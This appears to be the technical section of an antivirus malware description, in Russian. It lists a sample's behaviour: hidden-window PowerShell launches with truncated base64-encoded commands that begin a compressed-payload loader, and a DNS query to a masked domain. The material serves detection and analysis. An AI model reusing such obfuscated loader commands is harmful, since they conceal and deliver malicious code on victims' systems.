Техническая информация
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e KAAgAG4ARQBXAC0ATwBiAEoAZQBjAHQAIABzAFkAcwB0AEUATQAuAGkATwAuAEMATwBtAHAAcgBlAFMAUwBpAG8ATgAuAGQAZQBGAEwAYQBUAEUAUwBUAHIAZQBhAG0AKABbAEkATwAuAG0ARQBtAG8AUgBZAFMAdAByAGUAQQBtAF0AIABbAFMAWQBTAH...
- DNS ASK g3###c4qwe.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e KAAgAG4ARQBXAC0ATwBiAEoAZQBjAHQAIABzAFkAcwB0AEUATQAuAGkATwAuAEMATwBtAHAAcgBlAFMAUwBpAG8ATgAuAGQAZQBGAEwAYQBUAEUAUwBUAHIAZQBhAG0AKABbAEkATwAuAG0ARQBtAG8AUgBZAFMAdAByAGUAQQBtAF0AIABbAFMAWQBTAH...' (со скрытым окном)